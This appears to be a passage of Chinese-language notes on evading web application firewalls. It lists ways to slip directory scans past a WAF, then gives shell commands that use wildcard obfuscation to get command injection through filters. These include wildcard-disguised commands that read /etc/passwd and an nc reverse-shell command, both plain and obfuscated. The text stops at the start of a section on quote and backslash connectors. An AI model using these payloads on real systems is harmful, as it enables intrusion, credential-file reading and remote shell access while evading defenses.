目录扫描
第一:修改客户端ip
第二:减慢扫描速度
第三:通过代理欺骗waf
命令执行WAF绕过
1.通配符
符号 | 含义 |
---|---|
? | 匹配单个字符如果匹配多个字符,就需要多个?连用 |
* | *代表任意数量的字符 |
[ ] | 代表一定有一个在括号内的字符(非任意字符)。例如 [abcd] 代表一定有一个字符, 可能是 a, b, c, d 这四个任何一个 |
利用通配符执行以下命令:
ls -l
使用通配符
/?in/?s -l
读取/etc/passwd:
/???/??t /??c/p???w?
有时候WAF不允许使用太多的?号
/?in/cat /?tc/p?sswd
nc反弹shell
nc -e /bin/bash 127.0.0.1 3737
/??n/?c -e /??n/b??h 127.0.0.1 3737
2.连接符
常见连接符:单双引号反斜杠 " " ‘ ’
例 :读取/etc/passwd